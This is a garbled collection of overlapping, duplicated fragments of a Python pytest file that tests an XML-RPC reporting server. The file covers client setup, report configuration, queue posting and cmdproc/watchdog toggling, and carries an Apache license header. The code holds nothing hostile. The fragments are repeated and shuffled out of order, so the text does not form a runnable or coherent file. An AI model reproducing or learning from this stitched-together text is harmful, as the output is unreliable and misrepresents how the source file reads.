"\"None\"] # Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is",
"if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\" #",
"'SomeSwitch', 'report': ['Simple brief of test case', '-# First step\\n-# Second step'], 'suite':",
"`Unittests for reporting server functions` \"\"\" import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__),",
"# you may not use this file except in compliance with the License.",
"\"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check",
"agreed to in writing, software # distributed under the License is distributed on",
"pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True)",
"Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check if",
"(the \"License\"); # you may not use this file except in compliance with",
"reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"# Unless required by applicable law or agreed to in writing, software #",
"queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\" # Send",
"imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"by applicable law or agreed to in writing, software # distributed under the",
"1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\" # Call queuedropcmd and",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1)",
"\"\"\" import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer,",
"'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser =",
"expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is",
"\"htmlfile\", \"1.html\") # check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown()",
"check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify",
"work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc is True\",",
"client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\",",
"{'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of test",
"{'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post",
"Copyright (c) 2011 - 2017, Intel Corporation. # # Licensed under the Apache",
"= True self.port = '18081' self.logprefix = 'main' self.logdir = 'logs' self.loglevel =",
"is False\" # Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with",
"file except in compliance with the License. # You may obtain a copy",
"'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is",
"os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer()",
"reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1,",
"post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case', '-#",
"Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is working.",
"'-# First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 =",
"queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\",",
"== expected_queuelist # Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen",
"\"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\" import sys import os import pytest",
"Corporation. # # Licensed under the Apache License, Version 2.0 (the \"License\"); #",
"License for the specific language governing permissions and # limitations under the License.",
"can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client is Active",
"\"None\"] # Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" #",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None)",
"'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief",
"Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0",
"== 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable()",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile ==",
"= XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def",
"to in writing, software # distributed under the License is distributed on an",
"reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client is",
"def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is working. \"\"\" expected_queuelist = [{'status':",
"implied. # See the License for the specific language governing permissions and #",
"reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"\"License\"); # you may not use this file except in compliance with the",
"XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server):",
"== expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc",
"client config can be created and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") #",
"reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc is True\", \"Watchdog is",
"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"status of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml",
"'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\",",
"self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './')))",
"empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\" # Send post request",
"\"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr on report",
"2011 - 2017, Intel Corporation. # # Licensed under the Apache License, Version",
"def test_client_config(reporting_server): \"\"\"Verify that client config can be created and reports can be",
"or implied. # See the License for the specific language governing permissions and",
"\"xmlrpc_post operation is False\" # Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that",
"\"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True}",
"step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful",
"Apache License, Version 2.0 (the \"License\"); # you may not use this file",
"reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) #",
"OR CONDITIONS OF ANY KIND, either express or implied. # See the License",
"may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check if queuelen works def",
"'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation",
"'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\",",
"reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None)",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,",
"in writing, software # distributed under the License is distributed on an \"AS",
"right\" # Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen()",
"specific language governing permissions and # limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for",
"brief of test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'},",
"# See the License for the specific language governing permissions and # limitations",
"the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR",
"{'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def",
"of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml report",
"'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser = True self.port = '18081' self.logprefix",
"\"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return",
"Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\"",
"return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update',",
"reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") #",
"reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config can be created and reports can",
"if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is working. \"\"\"",
"assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation",
"the Apache License, Version 2.0 (the \"License\"); # you may not use this",
"you may not use this file except in compliance with the License. #",
"that post command is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\",",
"brief of test case', '-# First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname',",
"object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command is",
"# add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc is",
"that operation with queue is working. \"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform':",
"xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True)",
"# limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\" import",
"use this file except in compliance with the License. # You may obtain",
"Intel Corporation. # # Licensed under the Apache License, Version 2.0 (the \"License\");",
"\"\"\"Verify that post command is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\",",
"@pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir':",
"if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check if queuelen",
"# Licensed under the Apache License, Version 2.0 (the \"License\"); # you may",
"'-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if",
"and cmdproc is True\", \"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck()",
"empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist() ==",
"True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test",
"autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs',",
"import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins",
"functions` \"\"\" import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import",
"be created and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status",
"2.0 (the \"License\"); # you may not use this file except in compliance",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify",
"reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with",
"works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is working. \"\"\" expected_queuelist =",
"operation is False\" # Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation",
"reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc is True\", \"Watchdog is False. cmdprocdisable",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the",
"# Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen is",
"# # Unless required by applicable law or agreed to in writing, software",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config can",
"def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser':",
"'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of test case', '-#",
"express or implied. # See the License for the specific language governing permissions",
"== \"Watchdog is False and cmdproc is True\", \"Watchdog is False. cmdprocdisable doesn't",
"either express or implied. # See the License for the specific language governing",
"import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel':",
"- 2017, Intel Corporation. # # Licensed under the Apache License, Version 2.0",
"True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile",
"that client config can be created and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\")",
"\"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc is True\", \"Watchdog",
"Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not",
"an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either",
"test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] #",
"Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen is 1",
"config can be created and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check",
"the License. # You may obtain a copy of the License at #",
"test_client_config(reporting_server): \"\"\"Verify that client config can be created and reports can be removed.",
"with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and",
"# distributed under the License is distributed on an \"AS IS\" BASIS, #",
"expected_queuelist # Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is",
"\"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\",",
"\"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config can be created",
"is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF",
"assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc is True\", \"Watchdog is True.",
"True self.port = '18081' self.logprefix = 'main' self.logdir = 'logs' self.loglevel = 'DEBUG'",
"\"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build':",
"limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\" import sys",
"and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM",
"\"\"\"Verify that client config can be created and reports can be removed. \"\"\"",
"= 'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__),",
"opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return",
"# Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is",
"2017, Intel Corporation. # # Licensed under the Apache License, Version 2.0 (the",
"# Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not",
"'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of test case', '-# First step\\n-# Second",
"False and cmdproc is True\", \"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert",
"queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is working. \"\"\" expected_queuelist",
"with the License. # You may obtain a copy of the License at",
"def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck()",
"# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you",
"reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen",
"'report': ['Simple brief of test case', '-# First step\\n-# Second step'], 'suite': 'test.test_suite',",
"0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert",
"self.logprefix = 'main' self.logdir = 'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv",
"== \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\":",
"reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify",
"law or agreed to in writing, software # distributed under the License is",
"not right\" # Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert",
"the License for the specific language governing permissions and # limitations under the",
"step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is empty assert",
"CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\",",
"is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\")",
"on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,",
"'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self):",
"[{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple",
"# Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist",
"== 1, \"Queuelen is not right\" # Call queuedropcmd and check queuelen assert",
"False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc",
"step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1),",
"def __init__(self): self.multiuser = True self.port = '18081' self.logprefix = 'main' self.logdir =",
"\"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True",
"'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of test case', '-# First step\\n-#",
"cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc",
"buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def",
"queue is working. \"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'},",
"expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch',",
"in compliance with the License. # You may obtain a copy of the",
"def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\",",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"\"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #",
"\"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config",
"test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] #",
"\"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\")",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser = True self.port =",
"Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert",
"See the License for the specific language governing permissions and # limitations under",
"True\", \"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is",
"BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"'18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser = True self.port",
"Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist #",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in",
"be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client is Active assert",
"First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post",
"assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc is True\", \"Watchdog is False.",
"on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post",
"reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc is True\", \"Watchdog is True. cmdprocdisable",
"'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of",
"return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config can be created and reports",
"reporting server functions` \"\"\" import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from",
"\"Queuelen is not right\" # Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) ==",
